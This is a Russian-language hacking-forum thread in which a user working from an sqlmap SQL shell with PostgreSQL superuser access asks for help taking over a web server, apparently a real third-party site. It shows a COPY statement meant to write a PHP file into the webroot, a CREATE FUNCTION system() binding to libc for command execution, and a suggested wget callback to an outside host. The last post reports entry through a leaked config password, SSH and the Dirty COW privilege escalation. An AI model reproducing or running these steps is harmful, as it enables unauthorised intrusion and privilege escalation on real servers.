HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.03.2017, 23:20
ACat
Участник форума
Регистрация: 10.03.2017
Сообщений: 159
Провел на форуме:
60408

Репутация: 0
По умолчанию

Всем доброго времени суток.

Решил, что эта ситуация тянет на отдельный топик :3

И так, задача:

linux Debian 4.4.5-8, 64-bit

Apache/2.2.16 (Debian)

PostgreSQL 8.4.13

Код:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
postgres, true, true, true

Код:
SELECT mycol FROM mytable limit 1
''

Код:
sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
[13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved:
[13:12:08] [INFO] retrieved:
sql-shell>
Not Found

The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server.

Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера.

Пробуем code exec:

Код:
sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;:  'NULL'
sql-shell> SELECT system('id');
[13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
[13:17:36] [INFO] retrieving the length of query output
[13:17:36] [INFO] retrieved:
[13:17:36] [INFO] retrieved:
sql-shell>
Еще на сервере в открытом доступе лежат php-curl-class если это может как-то помочь.
 
Ответить с цитированием

  #2  
Старый 24.03.2017, 23:55
ACat
Участник форума
Регистрация: 10.03.2017
Сообщений: 159
Провел на форуме:
60408

Репутация: 0
По умолчанию

ап
 
Ответить с цитированием

  #3  
Старый 28.03.2017, 23:34
ACat
Участник форума
Регистрация: 10.03.2017
Сообщений: 159
Провел на форуме:
60408

Репутация: 0
По умолчанию

Хлопцi, шо никто не поможет?
 
Ответить с цитированием

  #4  
Старый 30.03.2017, 02:41
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
Провел на форуме:
169212

Репутация: 441


По умолчанию

Цитата:
Сообщение от None  
SELECT system('wget yourhost.com');
Если в логах пусто, то возможно либы нет на месте или нет wget-а

Попробуй /lib/x86_64-linux-gnu/libc.so.6 или /lib32/libc.so.6 . Ещё немного. И не факт, что этот метод работает на этой версии

По первому случаю, попробуй в /tmp выгрузить и залить обратно, там ясно будет.

Так же есть варианты с plpython, plperl и UDF, нужно тестить.
 
Ответить с цитированием

  #5  
Старый 02.04.2017, 04:55
ACat
Участник форума
Регистрация: 10.03.2017
Сообщений: 159
Провел на форуме:
60408

Репутация: 0
По умолчанию

Спасибо за ответы, как я и предпологал не было прав на запись.

Решилось прикольным образом: бэкап файл с конфигом и паролем от юзера базы данных, ssh, dirty cow.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.